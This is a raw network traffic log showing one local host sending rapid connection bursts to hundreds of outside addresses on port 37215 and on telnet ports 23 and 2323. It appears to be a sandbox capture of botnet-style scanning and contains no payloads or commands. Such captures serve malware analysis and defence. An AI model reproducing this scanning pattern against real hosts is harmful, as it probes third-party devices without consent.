Feb 19, 2025 19:48:55.941721916 CET	6405	37215	192.168.2.15	197.66.61.136
Feb 19, 2025 19:48:55.941723108 CET	6405	37215	192.168.2.15	197.156.158.214
Feb 19, 2025 19:48:55.941723108 CET	6405	37215	192.168.2.15	197.118.160.125
Feb 19, 2025 19:48:55.941723108 CET	6405	37215	192.168.2.15	197.255.205.98
Feb 19, 2025 19:48:55.941783905 CET	6405	37215	192.168.2.15	197.139.28.29
Feb 19, 2025 19:48:55.941786051 CET	6405	37215	192.168.2.15	197.86.13.195
Feb 19, 2025 19:48:55.941786051 CET	6405	37215	192.168.2.15	197.204.18.81
Feb 19, 2025 19:48:55.941813946 CET	6405	37215	192.168.2.15	197.6.145.191
Feb 19, 2025 19:48:55.941883087 CET	6405	37215	192.168.2.15	197.24.127.188
Feb 19, 2025 19:48:55.941886902 CET	6405	37215	192.168.2.15	197.149.70.138
Feb 19, 2025 19:48:55.941936970 CET	6405	37215	192.168.2.15	197.31.196.139
Feb 19, 2025 19:48:55.941936970 CET	6405	37215	192.168.2.15	197.219.206.84
Feb 19, 2025 19:48:55.941961050 CET	6405	37215	192.168.2.15	197.79.212.242
Feb 19, 2025 19:48:55.941967010 CET	6405	37215	192.168.2.15	197.157.108.141
Feb 19, 2025 19:48:55.942079067 CET	6405	37215	192.168.2.15	197.244.11.98
Feb 19, 2025 19:48:55.942109108 CET	6405	37215	192.168.2.15	197.181.124.222
Feb 19, 2025 19:48:55.942137957 CET	6405	37215	192.168.2.15	197.147.111.63
Feb 19, 2025 19:48:55.942177057 CET	6405	37215	192.168.2.15	197.54.133.123
Feb 19, 2025 19:48:55.942193031 CET	6405	37215	192.168.2.15	197.112.27.145
Feb 19, 2025 19:48:55.942229033 CET	6405	37215	192.168.2.15	197.68.206.100
Feb 19, 2025 19:48:55.942234039 CET	6405	37215	192.168.2.15	197.109.138.95
Feb 19, 2025 19:48:55.942269087 CET	6405	37215	192.168.2.15	197.172.239.176
Feb 19, 2025 19:48:55.942300081 CET	6405	37215	192.168.2.15	197.79.8.184
Feb 19, 2025 19:48:55.942300081 CET	6405	37215	192.168.2.15	197.97.183.156
Feb 19, 2025 19:48:55.942300081 CET	6405	37215	192.168.2.15	197.27.131.206
Feb 19, 2025 19:48:55.942312956 CET	6405	37215	192.168.2.15	197.85.161.168
Feb 19, 2025 19:48:55.942362070 CET	6405	37215	192.168.2.15	197.93.91.95
Feb 19, 2025 19:48:55.942365885 CET	6405	37215	192.168.2.15	197.54.20.199
Feb 19, 2025 19:48:55.942378998 CET	6405	37215	192.168.2.15	197.112.139.154
Feb 19, 2025 19:48:55.942404032 CET	6405	37215	192.168.2.15	197.105.106.246
Feb 19, 2025 19:48:55.942425013 CET	6405	37215	192.168.2.15	197.166.117.101
Feb 19, 2025 19:48:55.942468882 CET	6405	37215	192.168.2.15	197.207.1.227
Feb 19, 2025 19:48:55.942470074 CET	6405	37215	192.168.2.15	197.75.43.98
Feb 19, 2025 19:48:55.942519903 CET	6405	37215	192.168.2.15	197.123.84.242
Feb 19, 2025 19:48:55.942519903 CET	6405	37215	192.168.2.15	197.238.231.187
Feb 19, 2025 19:48:55.942521095 CET	6405	37215	192.168.2.15	197.181.164.50
Feb 19, 2025 19:48:55.942537069 CET	6405	37215	192.168.2.15	197.194.250.148
Feb 19, 2025 19:48:55.942548990 CET	6405	37215	192.168.2.15	197.102.10.117
Feb 19, 2025 19:48:55.942574024 CET	6405	37215	192.168.2.15	197.193.251.204
Feb 19, 2025 19:48:55.942606926 CET	6405	37215	192.168.2.15	197.238.66.211
Feb 19, 2025 19:48:55.942641973 CET	6405	37215	192.168.2.15	197.4.63.188
Feb 19, 2025 19:48:55.942682028 CET	6405	37215	192.168.2.15	197.143.42.128
Feb 19, 2025 19:48:55.942682028 CET	6405	37215	192.168.2.15	197.152.76.57
Feb 19, 2025 19:48:55.942682981 CET	6405	37215	192.168.2.15	197.26.91.27
Feb 19, 2025 19:48:55.942682981 CET	6405	37215	192.168.2.15	197.78.18.150
Feb 19, 2025 19:48:55.942682981 CET	6405	37215	192.168.2.15	197.226.0.30
Feb 19, 2025 19:48:55.942717075 CET	6405	37215	192.168.2.15	197.205.44.83
Feb 19, 2025 19:48:55.942755938 CET	6405	37215	192.168.2.15	197.146.97.113
Feb 19, 2025 19:48:55.942755938 CET	6405	37215	192.168.2.15	197.44.224.237
Feb 19, 2025 19:48:55.942756891 CET	6405	37215	192.168.2.15	197.125.206.35
Feb 19, 2025 19:48:55.942795038 CET	6405	37215	192.168.2.15	197.108.33.148
Feb 19, 2025 19:48:55.942795038 CET	6405	37215	192.168.2.15	197.5.255.216
Feb 19, 2025 19:48:55.942797899 CET	6405	37215	192.168.2.15	197.8.209.15
Feb 19, 2025 19:48:55.942807913 CET	6405	37215	192.168.2.15	197.40.157.154
Feb 19, 2025 19:48:55.942825079 CET	6405	37215	192.168.2.15	197.243.16.48
Feb 19, 2025 19:48:55.942847967 CET	6405	37215	192.168.2.15	197.134.105.235
Feb 19, 2025 19:48:55.942889929 CET	6405	37215	192.168.2.15	197.245.113.53
Feb 19, 2025 19:48:55.942919970 CET	6405	37215	192.168.2.15	197.38.234.120
Feb 19, 2025 19:48:55.942919970 CET	6405	37215	192.168.2.15	197.90.161.86
Feb 19, 2025 19:48:55.942933083 CET	6405	37215	192.168.2.15	197.29.73.29
Feb 19, 2025 19:48:55.942982912 CET	6405	37215	192.168.2.15	197.253.172.157
Feb 19, 2025 19:48:55.943002939 CET	6405	37215	192.168.2.15	197.92.92.62
Feb 19, 2025 19:48:55.943020105 CET	6405	37215	192.168.2.15	197.111.118.104
Feb 19, 2025 19:48:55.943020105 CET	6405	37215	192.168.2.15	197.172.35.7
Feb 19, 2025 19:48:55.943020105 CET	6405	37215	192.168.2.15	197.104.53.222
Feb 19, 2025 19:48:55.943046093 CET	6405	37215	192.168.2.15	197.61.89.52
Feb 19, 2025 19:48:55.943075895 CET	6405	37215	192.168.2.15	197.44.84.93
Feb 19, 2025 19:48:55.943111897 CET	6405	37215	192.168.2.15	197.180.217.47
Feb 19, 2025 19:48:55.943114996 CET	6405	37215	192.168.2.15	197.72.145.130
Feb 19, 2025 19:48:55.943128109 CET	6405	37215	192.168.2.15	197.6.153.53
Feb 19, 2025 19:48:55.943144083 CET	6405	37215	192.168.2.15	197.166.94.47
Feb 19, 2025 19:48:55.943172932 CET	6405	37215	192.168.2.15	197.154.243.207
Feb 19, 2025 19:48:55.943172932 CET	6405	37215	192.168.2.15	197.3.244.249
Feb 19, 2025 19:48:55.943176031 CET	6405	37215	192.168.2.15	197.41.198.113
Feb 19, 2025 19:48:55.943176031 CET	6405	37215	192.168.2.15	197.21.169.1
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.139.68.242
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.124.73.78
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.168.3.15
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.91.161.205
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.102.148.183
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.141.35.70
Feb 19, 2025 19:48:55.943190098 CET	6405	37215	192.168.2.15	197.18.214.187
Feb 19, 2025 19:48:55.943191051 CET	6405	37215	192.168.2.15	197.179.59.42
Feb 19, 2025 19:48:55.943206072 CET	6405	37215	192.168.2.15	197.244.219.201
Feb 19, 2025 19:48:55.943222046 CET	6405	37215	192.168.2.15	197.148.199.36
Feb 19, 2025 19:48:55.943227053 CET	6405	37215	192.168.2.15	197.46.92.191
Feb 19, 2025 19:48:55.943227053 CET	6405	37215	192.168.2.15	197.138.215.131
Feb 19, 2025 19:48:55.943227053 CET	6405	37215	192.168.2.15	197.51.147.71
Feb 19, 2025 19:48:55.943228006 CET	6405	37215	192.168.2.15	197.106.108.77
Feb 19, 2025 19:48:55.943228006 CET	6405	37215	192.168.2.15	197.179.156.52
Feb 19, 2025 19:48:55.943228006 CET	6405	37215	192.168.2.15	197.161.82.155
Feb 19, 2025 19:48:55.943228006 CET	6405	37215	192.168.2.15	197.11.94.27
Feb 19, 2025 19:48:55.943228006 CET	6405	37215	192.168.2.15	197.28.235.199
Feb 19, 2025 19:48:55.943238974 CET	6405	37215	192.168.2.15	197.114.55.248
Feb 19, 2025 19:48:55.943242073 CET	6405	37215	192.168.2.15	197.122.67.251
Feb 19, 2025 19:48:55.943242073 CET	6405	37215	192.168.2.15	197.164.3.190
Feb 19, 2025 19:48:55.943289042 CET	6405	37215	192.168.2.15	197.243.47.234
Feb 19, 2025 19:48:55.943291903 CET	6405	37215	192.168.2.15	197.143.42.120
Feb 19, 2025 19:48:55.943294048 CET	6405	37215	192.168.2.15	197.48.108.44
Feb 19, 2025 19:48:55.943322897 CET	6405	37215	192.168.2.15	197.10.131.179
Feb 19, 2025 19:48:55.943322897 CET	6405	37215	192.168.2.15	197.27.6.242
Feb 19, 2025 19:48:55.943351030 CET	6405	37215	192.168.2.15	197.129.230.37
Feb 19, 2025 19:48:55.943389893 CET	6405	37215	192.168.2.15	197.176.152.179
Feb 19, 2025 19:48:55.943406105 CET	6405	37215	192.168.2.15	197.185.232.104
Feb 19, 2025 19:48:55.943433046 CET	6405	37215	192.168.2.15	197.59.152.162
Feb 19, 2025 19:48:55.943437099 CET	6405	37215	192.168.2.15	197.6.138.208
Feb 19, 2025 19:48:55.943449974 CET	6405	37215	192.168.2.15	197.78.86.149
Feb 19, 2025 19:48:55.943464041 CET	6405	37215	192.168.2.15	197.195.216.194
Feb 19, 2025 19:48:55.943499088 CET	6405	37215	192.168.2.15	197.17.149.204
Feb 19, 2025 19:48:55.943499088 CET	6405	37215	192.168.2.15	197.210.194.161
Feb 19, 2025 19:48:55.943499088 CET	6405	37215	192.168.2.15	197.250.33.234
Feb 19, 2025 19:48:55.943536043 CET	6405	37215	192.168.2.15	197.4.76.6
Feb 19, 2025 19:48:55.943550110 CET	6405	37215	192.168.2.15	197.227.255.40
Feb 19, 2025 19:48:55.943567038 CET	6405	37215	192.168.2.15	197.67.229.231
Feb 19, 2025 19:48:55.943583965 CET	6405	37215	192.168.2.15	197.246.20.206
Feb 19, 2025 19:48:55.943622112 CET	6405	37215	192.168.2.15	197.220.113.255
Feb 19, 2025 19:48:55.943639994 CET	6405	37215	192.168.2.15	197.157.49.179
Feb 19, 2025 19:48:55.943653107 CET	6405	37215	192.168.2.15	197.246.227.243
Feb 19, 2025 19:48:55.943676949 CET	6405	37215	192.168.2.15	197.171.186.218
Feb 19, 2025 19:48:55.943708897 CET	6405	37215	192.168.2.15	197.143.226.207
Feb 19, 2025 19:48:55.943725109 CET	6405	37215	192.168.2.15	197.199.168.252
Feb 19, 2025 19:48:55.943758011 CET	6405	37215	192.168.2.15	197.18.78.69
Feb 19, 2025 19:48:55.943805933 CET	6405	37215	192.168.2.15	197.198.226.163
Feb 19, 2025 19:48:55.943861961 CET	6405	37215	192.168.2.15	197.207.246.194
Feb 19, 2025 19:48:55.943861961 CET	6405	37215	192.168.2.15	197.132.81.22
Feb 19, 2025 19:48:55.943862915 CET	6405	37215	192.168.2.15	197.151.254.141
Feb 19, 2025 19:48:55.943943024 CET	6405	37215	192.168.2.15	197.192.68.98
Feb 19, 2025 19:48:55.943995953 CET	6405	37215	192.168.2.15	197.31.166.31
Feb 19, 2025 19:48:55.944010019 CET	6405	37215	192.168.2.15	197.79.103.241
Feb 19, 2025 19:48:55.944056034 CET	6405	37215	192.168.2.15	197.52.214.200
Feb 19, 2025 19:48:55.944057941 CET	6405	37215	192.168.2.15	197.192.1.48
Feb 19, 2025 19:48:55.944060087 CET	6405	37215	192.168.2.15	197.103.184.248
Feb 19, 2025 19:48:55.944060087 CET	6405	37215	192.168.2.15	197.2.58.18
Feb 19, 2025 19:48:55.944060087 CET	6405	37215	192.168.2.15	197.201.195.132
Feb 19, 2025 19:48:55.944384098 CET	6405	37215	192.168.2.15	197.209.193.140
Feb 19, 2025 19:48:55.946208954 CET	6405	37215	192.168.2.15	197.192.21.43
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.37.44.237
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.158.0.233
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.238.16.42
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.147.173.187
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.73.83.65
Feb 19, 2025 19:48:55.946217060 CET	6405	37215	192.168.2.15	197.145.122.149
Feb 19, 2025 19:48:55.946257114 CET	6405	37215	192.168.2.15	197.179.122.253
Feb 19, 2025 19:48:55.946257114 CET	6405	37215	192.168.2.15	197.160.7.171
Feb 19, 2025 19:48:55.946257114 CET	6405	37215	192.168.2.15	197.95.209.105
Feb 19, 2025 19:48:55.946563005 CET	37215	6405	197.126.156.248	192.168.2.15
Feb 19, 2025 19:48:55.946576118 CET	37215	6405	197.27.36.197	192.168.2.15
Feb 19, 2025 19:48:55.946587086 CET	37215	6405	197.169.177.63	192.168.2.15
Feb 19, 2025 19:48:55.946598053 CET	37215	6405	197.236.79.30	192.168.2.15
Feb 19, 2025 19:48:55.946609020 CET	37215	6405	197.24.44.190	192.168.2.15
Feb 19, 2025 19:48:55.946619987 CET	37215	6405	197.231.44.112	192.168.2.15
Feb 19, 2025 19:48:55.946639061 CET	6405	37215	192.168.2.15	197.126.156.248
Feb 19, 2025 19:48:55.946639061 CET	6405	37215	192.168.2.15	197.27.36.197
Feb 19, 2025 19:48:55.946639061 CET	6405	37215	192.168.2.15	197.169.177.63
Feb 19, 2025 19:48:55.946644068 CET	6405	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:55.946649075 CET	6405	37215	192.168.2.15	197.231.44.112
Feb 19, 2025 19:48:55.946649075 CET	6405	37215	192.168.2.15	197.236.79.30
Feb 19, 2025 19:48:55.946702003 CET	37215	6405	197.163.245.108	192.168.2.15
Feb 19, 2025 19:48:55.946712017 CET	37215	6405	197.163.45.79	192.168.2.15
Feb 19, 2025 19:48:55.946738005 CET	37215	6405	197.220.130.145	192.168.2.15
Feb 19, 2025 19:48:55.946816921 CET	37215	6405	197.226.56.159	192.168.2.15
Feb 19, 2025 19:48:55.946820021 CET	6405	37215	192.168.2.15	197.220.130.145
Feb 19, 2025 19:48:55.946820974 CET	6405	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:55.946822882 CET	6405	37215	192.168.2.15	197.163.245.108
Feb 19, 2025 19:48:55.946829081 CET	37215	6405	197.112.216.64	192.168.2.15
Feb 19, 2025 19:48:55.946841955 CET	37215	6405	197.216.11.24	192.168.2.15
Feb 19, 2025 19:48:55.946857929 CET	6405	37215	192.168.2.15	197.226.56.159
Feb 19, 2025 19:48:55.946861982 CET	6405	37215	192.168.2.15	197.112.216.64
Feb 19, 2025 19:48:55.946862936 CET	37215	6405	197.215.36.144	192.168.2.15
Feb 19, 2025 19:48:55.946875095 CET	37215	6405	197.228.156.122	192.168.2.15
Feb 19, 2025 19:48:55.946886063 CET	37215	6405	197.137.133.38	192.168.2.15
Feb 19, 2025 19:48:55.946887970 CET	6405	37215	192.168.2.15	197.216.11.24
Feb 19, 2025 19:48:55.946918011 CET	6405	37215	192.168.2.15	197.215.36.144
Feb 19, 2025 19:48:55.946918011 CET	6405	37215	192.168.2.15	197.228.156.122
Feb 19, 2025 19:48:55.946918011 CET	6405	37215	192.168.2.15	197.137.133.38
Feb 19, 2025 19:48:55.946926117 CET	37215	6405	197.66.61.136	192.168.2.15
Feb 19, 2025 19:48:55.946938038 CET	37215	6405	197.156.158.214	192.168.2.15
Feb 19, 2025 19:48:55.946971893 CET	6405	37215	192.168.2.15	197.66.61.136
Feb 19, 2025 19:48:55.947485924 CET	37215	6405	197.118.160.125	192.168.2.15
Feb 19, 2025 19:48:55.947496891 CET	37215	6405	197.255.205.98	192.168.2.15
Feb 19, 2025 19:48:55.947506905 CET	37215	6405	197.139.28.29	192.168.2.15
Feb 19, 2025 19:48:55.947516918 CET	37215	6405	197.86.13.195	192.168.2.15
Feb 19, 2025 19:48:55.947529078 CET	37215	6405	197.204.18.81	192.168.2.15
Feb 19, 2025 19:48:55.947537899 CET	37215	6405	197.6.145.191	192.168.2.15
Feb 19, 2025 19:48:55.947541952 CET	6405	37215	192.168.2.15	197.156.158.214
Feb 19, 2025 19:48:55.947541952 CET	6405	37215	192.168.2.15	197.118.160.125
Feb 19, 2025 19:48:55.947541952 CET	6405	37215	192.168.2.15	197.255.205.98
Feb 19, 2025 19:48:55.947542906 CET	6405	37215	192.168.2.15	197.139.28.29
Feb 19, 2025 19:48:55.947546005 CET	6405	37215	192.168.2.15	197.86.13.195
Feb 19, 2025 19:48:55.947547913 CET	37215	6405	197.24.127.188	192.168.2.15
Feb 19, 2025 19:48:55.947568893 CET	6405	37215	192.168.2.15	197.204.18.81
Feb 19, 2025 19:48:55.947570086 CET	37215	6405	197.149.70.138	192.168.2.15
Feb 19, 2025 19:48:55.947571039 CET	6405	37215	192.168.2.15	197.6.145.191
Feb 19, 2025 19:48:55.947571039 CET	6405	37215	192.168.2.15	197.24.127.188
Feb 19, 2025 19:48:55.947582006 CET	37215	6405	197.31.196.139	192.168.2.15
Feb 19, 2025 19:48:55.947592020 CET	37215	6405	197.219.206.84	192.168.2.15
Feb 19, 2025 19:48:55.947602034 CET	37215	6405	197.79.212.242	192.168.2.15
Feb 19, 2025 19:48:55.947604895 CET	6405	37215	192.168.2.15	197.149.70.138
Feb 19, 2025 19:48:55.947613001 CET	37215	6405	197.157.108.141	192.168.2.15
Feb 19, 2025 19:48:55.947614908 CET	6405	37215	192.168.2.15	197.31.196.139
Feb 19, 2025 19:48:55.947623014 CET	37215	6405	197.244.11.98	192.168.2.15
Feb 19, 2025 19:48:55.947628975 CET	6405	37215	192.168.2.15	197.219.206.84
Feb 19, 2025 19:48:55.947633982 CET	37215	6405	197.181.124.222	192.168.2.15
Feb 19, 2025 19:48:55.947643995 CET	37215	6405	197.147.111.63	192.168.2.15
Feb 19, 2025 19:48:55.947644949 CET	6405	37215	192.168.2.15	197.79.212.242
Feb 19, 2025 19:48:55.947652102 CET	6405	37215	192.168.2.15	197.244.11.98
Feb 19, 2025 19:48:55.947654963 CET	37215	6405	197.54.133.123	192.168.2.15
Feb 19, 2025 19:48:55.947654009 CET	6405	37215	192.168.2.15	197.157.108.141
Feb 19, 2025 19:48:55.947659016 CET	6405	37215	192.168.2.15	197.181.124.222
Feb 19, 2025 19:48:55.947660923 CET	37215	6405	197.112.27.145	192.168.2.15
Feb 19, 2025 19:48:55.947665930 CET	37215	6405	197.68.206.100	192.168.2.15
Feb 19, 2025 19:48:55.947669983 CET	37215	6405	197.109.138.95	192.168.2.15
Feb 19, 2025 19:48:55.947681904 CET	37215	6405	197.172.239.176	192.168.2.15
Feb 19, 2025 19:48:55.947698116 CET	6405	37215	192.168.2.15	197.68.206.100
Feb 19, 2025 19:48:55.947699070 CET	6405	37215	192.168.2.15	197.147.111.63
Feb 19, 2025 19:48:55.947700024 CET	6405	37215	192.168.2.15	197.54.133.123
Feb 19, 2025 19:48:55.947699070 CET	6405	37215	192.168.2.15	197.109.138.95
Feb 19, 2025 19:48:55.947707891 CET	6405	37215	192.168.2.15	197.112.27.145
Feb 19, 2025 19:48:55.947709084 CET	6405	37215	192.168.2.15	197.172.239.176
Feb 19, 2025 19:48:55.947966099 CET	37215	6405	197.79.8.184	192.168.2.15
Feb 19, 2025 19:48:55.947977066 CET	37215	6405	197.97.183.156	192.168.2.15
Feb 19, 2025 19:48:55.947988987 CET	37215	6405	197.27.131.206	192.168.2.15
Feb 19, 2025 19:48:55.947999001 CET	37215	6405	197.85.161.168	192.168.2.15
Feb 19, 2025 19:48:55.948009014 CET	37215	6405	197.93.91.95	192.168.2.15
Feb 19, 2025 19:48:55.948018074 CET	37215	6405	197.54.20.199	192.168.2.15
Feb 19, 2025 19:48:55.948019028 CET	6405	37215	192.168.2.15	197.79.8.184
Feb 19, 2025 19:48:55.948019028 CET	6405	37215	192.168.2.15	197.97.183.156
Feb 19, 2025 19:48:55.948019028 CET	6405	37215	192.168.2.15	197.27.131.206
Feb 19, 2025 19:48:55.948030949 CET	6405	37215	192.168.2.15	197.85.161.168
Feb 19, 2025 19:48:55.948030949 CET	6405	37215	192.168.2.15	197.93.91.95
Feb 19, 2025 19:48:55.948039055 CET	37215	6405	197.112.139.154	192.168.2.15
Feb 19, 2025 19:48:55.948050022 CET	37215	6405	197.105.106.246	192.168.2.15
Feb 19, 2025 19:48:55.948059082 CET	37215	6405	197.166.117.101	192.168.2.15
Feb 19, 2025 19:48:55.948059082 CET	6405	37215	192.168.2.15	197.54.20.199
Feb 19, 2025 19:48:55.948070049 CET	37215	6405	197.207.1.227	192.168.2.15
Feb 19, 2025 19:48:55.948072910 CET	6405	37215	192.168.2.15	197.112.139.154
Feb 19, 2025 19:48:55.948080063 CET	37215	6405	197.75.43.98	192.168.2.15
Feb 19, 2025 19:48:55.948090076 CET	37215	6405	197.181.164.50	192.168.2.15
Feb 19, 2025 19:48:55.948092937 CET	6405	37215	192.168.2.15	197.105.106.246
Feb 19, 2025 19:48:55.948095083 CET	6405	37215	192.168.2.15	197.166.117.101
Feb 19, 2025 19:48:55.948098898 CET	37215	6405	197.123.84.242	192.168.2.15
Feb 19, 2025 19:48:55.948107958 CET	6405	37215	192.168.2.15	197.207.1.227
Feb 19, 2025 19:48:55.948108912 CET	6405	37215	192.168.2.15	197.75.43.98
Feb 19, 2025 19:48:55.948110104 CET	37215	6405	197.238.231.187	192.168.2.15
Feb 19, 2025 19:48:55.948120117 CET	37215	6405	197.194.250.148	192.168.2.15
Feb 19, 2025 19:48:55.948124886 CET	6405	37215	192.168.2.15	197.181.164.50
Feb 19, 2025 19:48:55.948131084 CET	37215	6405	197.102.10.117	192.168.2.15
Feb 19, 2025 19:48:55.948138952 CET	6405	37215	192.168.2.15	197.123.84.242
Feb 19, 2025 19:48:55.948138952 CET	6405	37215	192.168.2.15	197.238.231.187
Feb 19, 2025 19:48:55.948151112 CET	6405	37215	192.168.2.15	197.194.250.148
Feb 19, 2025 19:48:55.948179960 CET	6405	37215	192.168.2.15	197.102.10.117
Feb 19, 2025 19:48:55.959275961 CET	38392	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:55.964298964 CET	37215	38392	157.188.30.224	192.168.2.15
Feb 19, 2025 19:48:55.964371920 CET	38392	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:55.996704102 CET	9989	2323	192.168.2.15	168.193.193.213
Feb 19, 2025 19:48:55.996709108 CET	9989	23	192.168.2.15	204.47.164.17
Feb 19, 2025 19:48:55.996728897 CET	9989	23	192.168.2.15	64.90.42.131
Feb 19, 2025 19:48:55.996737003 CET	9989	23	192.168.2.15	202.27.72.193
Feb 19, 2025 19:48:55.996751070 CET	9989	23	192.168.2.15	125.131.249.221
Feb 19, 2025 19:48:55.996762991 CET	9989	23	192.168.2.15	112.154.208.27
Feb 19, 2025 19:48:55.996762037 CET	9989	23	192.168.2.15	86.155.128.118
Feb 19, 2025 19:48:55.996769905 CET	9989	23	192.168.2.15	112.65.192.207
Feb 19, 2025 19:48:55.996782064 CET	9989	23	192.168.2.15	89.231.88.39
Feb 19, 2025 19:48:55.996786118 CET	9989	23	192.168.2.15	87.221.56.210
Feb 19, 2025 19:48:55.996786118 CET	9989	23	192.168.2.15	63.169.107.43
Feb 19, 2025 19:48:55.996795893 CET	9989	23	192.168.2.15	57.178.117.78
Feb 19, 2025 19:48:55.996803999 CET	9989	23	192.168.2.15	119.12.52.125
Feb 19, 2025 19:48:55.996803999 CET	9989	23	192.168.2.15	151.208.232.141
Feb 19, 2025 19:48:55.996828079 CET	9989	23	192.168.2.15	205.170.146.224
Feb 19, 2025 19:48:55.996830940 CET	9989	23	192.168.2.15	93.59.107.181
Feb 19, 2025 19:48:55.996838093 CET	9989	2323	192.168.2.15	199.88.110.163
Feb 19, 2025 19:48:55.996839046 CET	9989	23	192.168.2.15	201.163.123.68
Feb 19, 2025 19:48:55.996850014 CET	9989	23	192.168.2.15	52.238.152.96
Feb 19, 2025 19:48:55.996854067 CET	9989	23	192.168.2.15	60.134.230.48
Feb 19, 2025 19:48:55.996857882 CET	9989	23	192.168.2.15	52.190.219.32
Feb 19, 2025 19:48:55.996870041 CET	9989	23	192.168.2.15	201.51.17.75
Feb 19, 2025 19:48:55.996880054 CET	9989	23	192.168.2.15	188.16.151.206
Feb 19, 2025 19:48:55.996884108 CET	9989	2323	192.168.2.15	116.239.41.135
Feb 19, 2025 19:48:55.996892929 CET	9989	23	192.168.2.15	95.16.184.102
Feb 19, 2025 19:48:55.996900082 CET	9989	23	192.168.2.15	103.95.135.74
Feb 19, 2025 19:48:55.996900082 CET	9989	23	192.168.2.15	101.128.16.3
Feb 19, 2025 19:48:55.996908903 CET	9989	23	192.168.2.15	149.60.159.40
Feb 19, 2025 19:48:55.996911049 CET	9989	23	192.168.2.15	117.107.58.10
Feb 19, 2025 19:48:55.996922970 CET	9989	23	192.168.2.15	39.201.216.93
Feb 19, 2025 19:48:55.996922970 CET	9989	2323	192.168.2.15	52.105.74.131
Feb 19, 2025 19:48:55.996927023 CET	9989	23	192.168.2.15	223.250.248.52
Feb 19, 2025 19:48:55.996927023 CET	9989	23	192.168.2.15	107.238.100.36
Feb 19, 2025 19:48:55.996927023 CET	9989	23	192.168.2.15	105.87.152.147
Feb 19, 2025 19:48:55.996927023 CET	9989	23	192.168.2.15	13.28.189.194
Feb 19, 2025 19:48:55.996932030 CET	9989	23	192.168.2.15	191.74.113.10
Feb 19, 2025 19:48:55.996932030 CET	9989	23	192.168.2.15	210.152.169.68
Feb 19, 2025 19:48:55.996943951 CET	9989	23	192.168.2.15	180.168.98.23
Feb 19, 2025 19:48:55.996946096 CET	9989	23	192.168.2.15	86.221.163.132
Feb 19, 2025 19:48:55.996946096 CET	9989	23	192.168.2.15	67.138.134.130
Feb 19, 2025 19:48:55.996962070 CET	9989	23	192.168.2.15	75.64.164.130
Feb 19, 2025 19:48:55.996964931 CET	9989	23	192.168.2.15	179.193.25.53
Feb 19, 2025 19:48:55.996965885 CET	9989	23	192.168.2.15	219.213.255.172
Feb 19, 2025 19:48:55.996965885 CET	9989	2323	192.168.2.15	48.175.140.8
Feb 19, 2025 19:48:55.996965885 CET	9989	23	192.168.2.15	77.231.96.184
Feb 19, 2025 19:48:55.996978998 CET	9989	23	192.168.2.15	43.127.215.19
Feb 19, 2025 19:48:55.996978998 CET	9989	23	192.168.2.15	212.255.144.91
Feb 19, 2025 19:48:55.996984959 CET	9989	23	192.168.2.15	40.45.54.57
Feb 19, 2025 19:48:55.996987104 CET	9989	23	192.168.2.15	213.59.127.106
Feb 19, 2025 19:48:55.996997118 CET	9989	23	192.168.2.15	47.176.213.99
Feb 19, 2025 19:48:55.996999979 CET	9989	23	192.168.2.15	129.52.65.251
Feb 19, 2025 19:48:55.997008085 CET	9989	23	192.168.2.15	115.163.41.10
Feb 19, 2025 19:48:55.997008085 CET	9989	23	192.168.2.15	176.49.207.202
Feb 19, 2025 19:48:55.997014999 CET	9989	23	192.168.2.15	216.208.201.207
Feb 19, 2025 19:48:55.997028112 CET	9989	23	192.168.2.15	151.127.106.88
Feb 19, 2025 19:48:55.997030973 CET	9989	23	192.168.2.15	195.114.174.70
Feb 19, 2025 19:48:55.997030973 CET	9989	2323	192.168.2.15	107.236.38.71
Feb 19, 2025 19:48:55.997030973 CET	9989	23	192.168.2.15	48.108.52.171
Feb 19, 2025 19:48:55.997030973 CET	9989	23	192.168.2.15	219.209.195.187
Feb 19, 2025 19:48:55.997035027 CET	9989	23	192.168.2.15	146.157.103.28
Feb 19, 2025 19:48:55.997040033 CET	9989	23	192.168.2.15	70.30.172.82
Feb 19, 2025 19:48:55.997052908 CET	9989	23	192.168.2.15	175.21.216.37
Feb 19, 2025 19:48:55.997055054 CET	9989	23	192.168.2.15	12.193.229.27
Feb 19, 2025 19:48:55.997060061 CET	9989	23	192.168.2.15	107.16.231.118
Feb 19, 2025 19:48:55.997062922 CET	9989	23	192.168.2.15	185.153.189.129
Feb 19, 2025 19:48:55.997092009 CET	9989	23	192.168.2.15	204.95.242.181
Feb 19, 2025 19:48:55.997093916 CET	9989	23	192.168.2.15	90.217.59.55
Feb 19, 2025 19:48:55.997096062 CET	9989	23	192.168.2.15	194.179.3.69
Feb 19, 2025 19:48:55.997096062 CET	9989	2323	192.168.2.15	24.236.193.145
Feb 19, 2025 19:48:55.997096062 CET	9989	2323	192.168.2.15	209.172.97.183
Feb 19, 2025 19:48:55.997096062 CET	9989	23	192.168.2.15	128.212.243.106
Feb 19, 2025 19:48:55.997098923 CET	9989	23	192.168.2.15	139.65.236.8
Feb 19, 2025 19:48:55.997098923 CET	9989	23	192.168.2.15	193.112.101.48
Feb 19, 2025 19:48:55.997102976 CET	9989	23	192.168.2.15	177.212.162.193
Feb 19, 2025 19:48:55.997102976 CET	9989	23	192.168.2.15	172.36.238.224
Feb 19, 2025 19:48:55.997102976 CET	9989	23	192.168.2.15	161.6.146.51
Feb 19, 2025 19:48:55.997102976 CET	9989	23	192.168.2.15	73.241.119.77
Feb 19, 2025 19:48:55.997109890 CET	9989	23	192.168.2.15	120.151.88.230
Feb 19, 2025 19:48:55.997117996 CET	9989	23	192.168.2.15	137.55.209.110
Feb 19, 2025 19:48:55.997121096 CET	9989	2323	192.168.2.15	133.174.91.232
